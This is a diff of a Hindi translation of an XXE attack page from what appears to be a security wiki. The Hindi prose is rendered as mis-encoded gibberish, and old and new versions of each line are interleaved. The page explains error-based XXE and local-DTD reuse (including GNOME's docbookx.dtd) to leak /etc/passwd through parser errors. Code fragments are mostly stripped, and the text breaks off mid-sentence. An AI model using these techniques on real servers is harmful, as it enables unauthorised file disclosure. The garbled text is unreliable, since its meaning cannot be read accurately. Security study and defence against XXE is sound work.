рдПрдВрдЯрд┐рдЯреА рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдПрдХ рдЧреИрд░-рдореМрдЬреВрдж рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ `file` рдПрдВрдЯрд┐рдЯреА рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЙрд╕рдХреЗ рдирд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +1. рдПрдХ XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА `file` рдирд╛рдо рд╕реЗ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХреА рдЬрд╛рддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ `/etc/passwd` рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рд╣реЛрддреА рд╣реИред +2. рдПрдХ XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА `eval` рдирд╛рдо рд╕реЗ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХреА рдЬрд╛рддреА рд╣реИ, рдЬреЛ `error` рдирд╛рдордХ рдПрдХ рдЕрдиреНрдп XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА рдХреЗ рд▓рд┐рдП рдПрдХ рдЧрддрд┐рд╢реАрд▓ рдШреЛрд╖рдгрд╛ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддреА рд╣реИред рдЬрдм рдЗрд╕ `error` рдПрдВрдЯрд┐рдЯреА рдХрд╛ рдореВрд▓реНрдпрд╛рдВрдХрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдпрд╣ рдПрдХ рдЧреИрд░-рдореМрдЬреВрдж рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ `file` рдПрдВрдЯрд┐рдЯреА рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЙрд╕рдХреЗ рдирд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред 3. `eval` рдПрдВрдЯрд┐рдЯреА рдХреЛ рдмреБрд▓рд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ `error` рдПрдВрдЯрд┐рдЯреА рдХреА рдЧрддрд┐рд╢реАрд▓ рдШреЛрд╖рдгрд╛ рд╣реЛрддреА рд╣реИред -4. `error` рдПрдВрдЯрд┐рдЯреА рдХрд╛ рдЖрд╣реНрд╡рд╛рди рдПрдХ рдЧреИрд░-рдореМрдЬреВрдж рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдПрдХ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ `/etc/passwd` рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдХреЗ рднрд╛рдЧ рдХреЗ рд░реВрдк рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреА рд╣реИред +4. `error` рдПрдВрдЯрд┐рдЯреА рдХрд╛ рдЖрд╣реНрд╡рд╛рди рдПрдХ рдЧреИрд░-рдореМрдЬреВрдж рдлрд╝рд╛рдЗрд▓ рдХреЛ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рдкреНрд░рдпрд╛рд╕ рдХрд╛ рдкрд░рд┐рдгрд╛рдо рд╣реЛрддрд╛ рд╣реИ, рдЬреЛ рдПрдХ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ `/etc/passwd` рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдлрд╝рд╛рдЗрд▓ рдирд╛рдо рдХреЗ рднрд╛рдЧ рдХреЗ рд░реВрдк рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрддреА рд╣реИред -рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдмрд╛рд╣рд░реА DTD рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд XML рдХреЗ рд╕рд╛рде рдмреБрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: +рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдмрд╛рд╣рд░реА DTD рдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд XML рдХреЗ рд╕рд╛рде рдЖрд╣реНрд╡рд╛рди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ: ```xml %xxe;]> @@ -144,15 +144,15 @@ The steps executed by this DTD include: ![](<../images/image (809).png>) -_**рдХреГрдкрдпрд╛ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдмрд╛рд╣рд░реА DTD рд╣рдореЗрдВ рджреВрд╕рд░реЗ рдХреЗ рдЕрдВрджрд░ рдПрдХ рдЗрдХрд╛рдИ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ (\*\***`eval`\***\*), рд▓реЗрдХрд┐рди рдпрд╣ рдЖрдВрддрд░рд┐рдХ DTD рдореЗрдВ рдирд┐рд╖рд┐рджреНрдз рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЖрдк рдмрд╛рд╣рд░реА DTD рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдмрд┐рдирд╛ рддреНрд░реБрдЯрд┐ рдХреЛ рдордЬрдмреВрд░ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗ (рдЖрдорддреМрд░ рдкрд░)ред**_ +_**рдХреГрдкрдпрд╛ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдмрд╛рд╣рд░реА DTD рд╣рдореЗрдВ рджреВрд╕рд░реЗ `eval` рдХреЗ рдЕрдВрджрд░ рдПрдХ рдЗрдХрд╛рдИ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рдЖрдВрддрд░рд┐рдХ DTD рдореЗрдВ рдирд┐рд╖рд┐рджреНрдз рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЖрдк рдмрд╛рд╣рд░реА DTD рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдмрд┐рдирд╛ (рдЖрдорддреМрд░ рдкрд░) рдПрдХ рддреНрд░реБрдЯрд┐ рдХреЛ рдордЬрдмреВрд░ рдирд╣реАрдВ рдХрд░ рд╕рдХрддреЗред**_ ### **рддреНрд░реБрдЯрд┐ рдЖрдзрд╛рд░рд┐рдд (рд╕рд┐рд╕реНрдЯрдо DTD)** -рддреЛ рдЬрдм **рдЖрдЙрдЯ-рдСрдл-рдмреИрдВрдб рдЗрдВрдЯрд░реИрдХреНрд╢рди рдЕрд╡рд░реБрджреНрдз рд╣реЛрддреЗ рд╣реИрдВ** (рдмрд╛рд╣рд░реА рдХрдиреЗрдХреНрд╢рди рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реИрдВ) рддреЛ рдЕрдВрдзреЗ XXE рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреНрдпрд╛? +рддреЛ рдЬрдм **рдЖрдЙрдЯ-рдСрдл-рдмреИрдВрдб рдЗрдВрдЯрд░реИрдХреНрд╢рди рдЕрд╡рд░реБрджреНрдз рд╣реЛрддреЗ рд╣реИрдВ** (рдмрд╛рд╣рд░реА рдХрдиреЗрдХреНрд╢рди рдЙрдкрд▓рдмреНрдз рдирд╣реАрдВ рд╣реЛрддреЗ) рддреЛ рдЕрдВрдзреЗ XXE рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреНрдпрд╛? -XML рднрд╛рд╖рд╛ рд╡рд┐рдирд┐рд░реНрджреЗрд╢рди рдореЗрдВ рдПрдХ рдЫрд┐рджреНрд░ **рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдПрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд╛ DTD рдЖрдВрддрд░рд┐рдХ рдФрд░ рдмрд╛рд╣рд░реА рдШреЛрд╖рдгрд╛рдУрдВ рдХреЛ рдорд┐рд▓рд╛рддрд╛ рд╣реИ**ред рдпрд╣ рд╕рдорд╕реНрдпрд╛ рдмрд╛рд╣рд░реА рд░реВрдк рд╕реЗ рдШреЛрд╖рд┐рдд рдЗрдХрд╛рдЗрдпреЛрдВ рдХреА рдЖрдВрддрд░рд┐рдХ рдкреБрдирд░реНрдкрд░рд┐рднрд╛рд╖рд╛ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рддреНрд░реБрдЯрд┐-рдЖрдзрд╛рд░рд┐рдд XXE рд╣рдорд▓реЛрдВ рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдВрднрд╡ рд╣реЛрддрд╛ рд╣реИред рдРрд╕реЗ рд╣рдорд▓реЗ XML рдкреИрд░рд╛рдореАрдЯрд░ рдЗрдХрд╛рдИ рдХреА рдкреБрдирд░реНрдкрд░рд┐рднрд╛рд╖рд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реИрдВ, рдЬрд┐рд╕реЗ рдореВрд▓ рд░реВрдк рд╕реЗ рдПрдХ рдмрд╛рд╣рд░реА DTD рдореЗрдВ рдШреЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдПрдХ рдЖрдВрддрд░рд┐рдХ DTD рдХреЗ рднреАрддрд░ рд╕реЗред рдЬрдм рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдЖрдЙрдЯ-рдСрдл-рдмреИрдВрдб рдХрдиреЗрдХреНрд╢рди рдЕрд╡рд░реБрджреНрдз рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рд╣рдорд▓реЗ рдХреЛ рдЕрдВрдЬрд╛рдо рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдерд╛рдиреАрдп DTD рдлрд╝рд╛рдЗрд▓реЛрдВ рдкрд░ рдирд┐рд░реНрднрд░ рд░рд╣рдирд╛ рдкрдбрд╝рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рдХрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкрд╛рд░реНрд╕рд┐рдВрдЧ рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛ рд╣реИред +XML рднрд╛рд╖рд╛ рд╡рд┐рдирд┐рд░реНрджреЗрд╢рди рдореЗрдВ рдПрдХ рдЫрд┐рджреНрд░ **рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдПрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд╛ DTD рдЖрдВрддрд░рд┐рдХ рдФрд░ рдмрд╛рд╣рд░реА рдШреЛрд╖рдгрд╛рдУрдВ рдХреЛ рдорд┐рд▓рд╛рддрд╛ рд╣реИ**ред рдпрд╣ рд╕рдорд╕реНрдпрд╛ рдмрд╛рд╣рд░реА рд░реВрдк рд╕реЗ рдШреЛрд╖рд┐рдд рдЗрдХрд╛рдЗрдпреЛрдВ рдХреЗ рдЖрдВрддрд░рд┐рдХ рдкреБрдирд░реНрдкрд░рд┐рднрд╛рд╖рд╛ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рддреНрд░реБрдЯрд┐-рдЖрдзрд╛рд░рд┐рдд XXE рд╣рдорд▓реЛрдВ рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдВрднрд╡ рд╣реЛрддрд╛ рд╣реИред рдРрд╕реЗ рд╣рдорд▓реЗ XML рдкреИрд░рд╛рдореАрдЯрд░ рдЗрдХрд╛рдИ рдХреА рдкреБрдирд░реНрдкрд░рд┐рднрд╛рд╖рд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреЗ рд╣реИрдВ, рдЬрд┐рд╕реЗ рдореВрд▓ рд░реВрдк рд╕реЗ рдПрдХ рдмрд╛рд╣рд░реА DTD рдореЗрдВ рдШреЛрд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдПрдХ рдЖрдВрддрд░рд┐рдХ DTD рдХреЗ рднреАрддрд░ рд╕реЗред рдЬрдм рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдЖрдЙрдЯ-рдСрдл-рдмреИрдВрдб рдХрдиреЗрдХреНрд╢рди рдЕрд╡рд░реБрджреНрдз рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рд╣рдорд▓реЗ рдХреЛ рдЕрдВрдЬрд╛рдо рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рд╕реНрдерд╛рдиреАрдп DTD рдлрд╝рд╛рдЗрд▓реЛрдВ рдкрд░ рдирд┐рд░реНрднрд░ рд░рд╣рдирд╛ рдкрдбрд╝рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкрд╛рд░реНрд╕рд┐рдВрдЧ рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░рдирд╛ рд╣реИред -рдПрдХ рдкрд░рд┐рджреГрд╢реНрдп рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ рдЬрд╣рд╛рдВ рд╕рд░реНрд╡рд░ рдХреА рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рдореЗрдВ `/usr/local/app/schema.dtd` рдкрд░ рдПрдХ DTD рдлрд╝рд╛рдЗрд▓ рд╣реИ, рдЬреЛ `custom_entity` рдирд╛рдордХ рдПрдХ рдЗрдХрд╛рдИ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреА рд╣реИред рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рд╣рд╛рдЗрдмреНрд░рд┐рдб DTD рдкреНрд░рд╕реНрддреБрдд рдХрд░рдХреЗ `/etc/passwd` рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рд╡рд╛рд▓реА XML рдкрд╛рд░реНрд╕рд┐рдВрдЧ рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддрд╛ рд╣реИ: +рдПрдХ рдкрд░рд┐рджреГрд╢реНрдп рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ рдЬрд╣рд╛рдВ рд╕рд░реНрд╡рд░ рдХреА рдлрд╝рд╛рдЗрд▓ рдкреНрд░рдгрд╛рд▓реА рдореЗрдВ `/usr/local/app/schema.dtd` рдкрд░ рдПрдХ DTD рдлрд╝рд╛рдЗрд▓ рд╣реИ, рдЬреЛ `custom_entity` рдирд╛рдордХ рдПрдХ рдЗрдХрд╛рдИ рдХреЛ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рддреА рд╣реИред рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рд╣рд╛рдЗрдмреНрд░рд┐рдб DTD рдкреНрд░рд╕реНрддреБрдд рдХрд░рдХреЗ XML рдкрд╛рд░реНрд╕рд┐рдВрдЧ рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ `/etc/passwd` рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдкреНрд░рдХрдЯ рд╣реЛрддреА рд╣реИ: ```xml @@ -167,11 +167,11 @@ XML рднрд╛рд╖рд╛ рд╡рд┐рдирд┐рд░реНрджреЗрд╢рди рдореЗрдВ рдПрдХ рдЫрд┐рджреНрд░ ``` The outlined steps are executed by this DTD: -- рдПрдХ XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА `local_dtd` рдХреА рдкрд░рд┐рднрд╛рд╖рд╛ рдореЗрдВ рд╕рд░реНрд╡рд░ рдХреА рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд╕реНрдерд┐рдд рдмрд╛рд╣рд░реА DTD рдлрд╝рд╛рдЗрд▓ рд╢рд╛рдорд┐рд▓ рд╣реИред -- `custom_entity` XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА рдХреЗ рд▓рд┐рдП рдПрдХ рдкреБрдирд░реНрдкрд░рд┐рднрд╛рд╖рд╛ рд╣реЛрддреА рд╣реИ, рдЬреЛ рдмрд╛рд╣рд░реА DTD рдореЗрдВ рдореВрд▓ рд░реВрдк рд╕реЗ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХреА рдЧрдИ рдереА, рддрд╛рдХрд┐ [error-based XXE exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) рдХреЛ рд╕рдВрд▓рдЧреНрди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрд╣ рдкреБрдирд░реНрдкрд░рд┐рднрд╛рд╖рд╛ рдПрдХ рдкрд╛рд░реНрд╕рд┐рдВрдЧ рддреНрд░реБрдЯрд┐ рдХреЛ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХреА рдЧрдИ рд╣реИ, рдЬреЛ `/etc/passwd` рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддреА рд╣реИред -- `local_dtd` рдПрдВрдЯрд┐рдЯреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдмрд╛рд╣рд░реА DTD рдХреЛ рд╕рдВрд▓рдЧреНрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдирдП рдкрд░рд┐рднрд╛рд╖рд┐рдд `custom_entity` рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрди рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреА рд╢реНрд░реГрдВрдЦрд▓рд╛ рдЙрд╕ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдХреЗ рдЙрддреНрд╕рд░реНрдЬрди рдХреЛ рдкреНрд░реЗрд░рд┐рдд рдХрд░рддреА рд╣реИ рдЬрд┐рд╕реЗ рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХреЗ рджреНрд╡рд╛рд░рд╛ рд▓рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +- рдПрдХ XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА `local_dtd` рдХреА рдкрд░рд┐рднрд╛рд╖рд╛ рд╕рд░реНрд╡рд░ рдХреА рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд╕реНрдерд┐рдд рдмрд╛рд╣рд░реА DTD рдлрд╝рд╛рдЗрд▓ рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рддреА рд╣реИред +- `custom_entity` XML рдкреИрд░рд╛рдореАрдЯрд░ рдПрдВрдЯрд┐рдЯреА рдХреЗ рд▓рд┐рдП рдПрдХ рдкреБрдирд░реНрдкрд░рд┐рднрд╛рд╖рд╛ рд╣реЛрддреА рд╣реИ, рдЬрд┐рд╕реЗ рдореВрд▓ рд░реВрдк рд╕реЗ рдмрд╛рд╣рд░реА DTD рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рддрд╛рдХрд┐ [рддреНрд░реБрдЯрд┐-рдЖрдзрд╛рд░рд┐рдд XXE рд╣рдорд▓реЗ](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) рдХреЛ рд╕рдВрд▓рдЧреНрди рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрд╣ рдкреБрдирд░реНрдкрд░рд┐рднрд╛рд╖рд╛ рдПрдХ рдкрд╛рд░реНрд╕рд┐рдВрдЧ рддреНрд░реБрдЯрд┐ рдХреЛ рдЙрддреНрдкрдиреНрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХреА рдЧрдИ рд╣реИ, рдЬреЛ `/etc/passwd` рдлрд╝рд╛рдЗрд▓ рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддреА рд╣реИред +- `local_dtd` рдПрдВрдЯрд┐рдЯреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдмрд╛рд╣рд░реА DTD рдХреЛ рд╕рдВрд▓рдЧреНрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдирдП рдкрд░рд┐рднрд╛рд╖рд┐рдд `custom_entity` рд╢рд╛рдорд┐рд▓ рд╣реИред рдЗрд╕ рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЗ рдЕрдиреБрдХреНрд░рдо рд╕реЗ рдЙрд╕ рддреНрд░реБрдЯрд┐ рд╕рдВрджреЗрд╢ рдХрд╛ рдЙрддреНрд╕рд░реНрдЬрди рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рд▓рдХреНрд╖рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред -**Real world example:** Systems using the GNOME desktop environment often have a DTD at `/usr/share/yelp/dtd/docbookx.dtd` containing an entity called `ISOamso` +**рд╡рд╛рд╕реНрддрд╡рд┐рдХ рджреБрдирд┐рдпрд╛ рдХрд╛ рдЙрджрд╛рд╣рд░рдг:** GNOME рдбреЗрд╕реНрдХрдЯреЙрдк рд╡рд╛рддрд╛рд╡рд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╕рд┐рд╕реНрдЯрдо рдЕрдХреНрд╕рд░ `/usr/share/yelp/dtd/docbookx.dtd` рдкрд░ рдПрдХ DTD рд░рдЦрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ `ISOamso` рдирд╛рдордХ рдПрдХ рдПрдВрдЯрд┐рдЯреА рд╣реЛрддреА рд╣реИред ```xml ) -рдЪреВрдВрдХрд┐ рдпрд╣ рддрдХрдиреАрдХ рдПрдХ **рдЖрдВрддрд░рд┐рдХ DTD рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИ, рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рдПрдХ рдорд╛рдиреНрдп DTD рдвреВрдВрдврдирд╛ рд╣реЛрдЧрд╛**ред рдЖрдк рдпрд╣ **рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рдХрд┐ **рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛ рд░рд╣реЗ** рдЙрд╕реА **OS / рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░** рдХреЛ **рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ** рдФрд░ **рдХреБрдЫ рдбрд┐рдлрд╝реЙрд▓реНрдЯ DTDs** рдХреА **рдЦреЛрдЬ рдХрд░реЗрдВ**, рдпрд╛ **рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЕрдВрджрд░** **рдбрд┐рдлрд╝реЙрд▓реНрдЯ DTDs** рдХреА рдПрдХ рд╕реВрдЪреА **рдЗрдХрдЯреНрдард╛ рдХрд░реЗрдВ** рдФрд░ **рдЬрд╛рдВрдЪреЗрдВ** рдХрд┐ рдХреНрдпрд╛ рдЙрдирдореЗрдВ рд╕реЗ рдХреЛрдИ рдореМрдЬреВрдж рд╣реИ: +рдЪреВрдВрдХрд┐ рдпрд╣ рддрдХрдиреАрдХ рдПрдХ **рдЖрдВрддрд░рд┐рдХ DTD рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИ, рдЖрдкрдХреЛ рдкрд╣рд▓реЗ рдПрдХ рдорд╛рдиреНрдп DTD рдвреВрдВрдврдирд╛ рд╣реЛрдЧрд╛**ред рдЖрдк рдпрд╣ **рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░рдХреЗ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рд╕рд░реНрд╡рд░ рдХреМрди рд╕рд╛ **OS / рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░** рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ **рдХреБрдЫ рдбрд┐рдлрд╝реЙрд▓реНрдЯ DTDs** рдХреА рдЦреЛрдЬ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдпрд╛ **рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЕрдВрджрд░ рдбрд┐рдлрд╝реЙрд▓реНрдЯ DTDs** рдХреА рдПрдХ рд╕реВрдЪреА **рдЗрдХрдЯреНрдард╛** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **рдЬрд╛рдВрдЪ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХреНрдпрд╛ рдЗрдирдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА рдореМрдЬреВрдж рд╣реИ: ```xml @@ -205,7 +205,7 @@ For more information check [https://portswigger.net/web-security/xxe/blind](http https://github.com/GoSecure/dtd-finder/tree/master/list {{#endref}} -рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ **рдкреАрдбрд╝рд┐рдд рд╕рд┐рд╕реНрдЯрдо рдХрд╛ Docker рдЗрдореЗрдЬ** рд╣реИ, рддреЛ рдЖрдк рдЙрд╕реА repo рдХреЗ рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **рдЗрдореЗрдЬ** рдХреЛ **рд╕реНрдХреИрди** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ **рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЕрдВрджрд░ рдореМрдЬреВрдж DTDs** рдХреЗ рдкрде рдХреЛ **рдЦреЛрдЬ** рд╕рдХрддреЗ рд╣реИрдВред рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдП [github рдХрд╛ Readme рдкрдврд╝реЗрдВ](https://github.com/GoSecure/dtd-finder)ред +рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрджрд┐ 